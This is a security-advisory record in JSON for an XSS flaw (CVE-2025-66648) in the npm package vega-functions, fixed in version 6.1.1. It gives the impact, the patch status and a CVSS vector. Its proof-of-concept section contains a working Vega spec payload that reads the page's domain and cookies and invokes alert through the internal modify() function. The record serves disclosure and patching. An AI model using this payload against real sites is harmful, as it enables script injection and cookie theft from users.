{"id":"GHSA-m9rg-mr6g-75gm","revision":"635cc86422664d728456c6935c696a6c","records":[{"revision":"635cc86422664d728456c6935c696a6c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-m9rg-mr6g-75gm","aliases":["CVE-2025-66648"],"title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```","state":0,"publishedAt":"2026-01-05T22:58:07+00:00","modifiedAt":"2026-09-10T03:50:33.3107753+00:00","affected":[{"ecosystem":"npm","name":"vega-functions","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.1.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm","https://nvd.nist.gov/vuln/detail/CVE-2025-66648","https://github.com/vega/vega"],"sourceUrl":"https://github.com/advisories/GHSA-m9rg-mr6g-75gm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m9rg-mr6g-75gm","identifiers":["GHSA-m9rg-mr6g-75gm","CVE-2025-66648"]},"retained":false,"historicalAffected":[]}],"coverage":[]}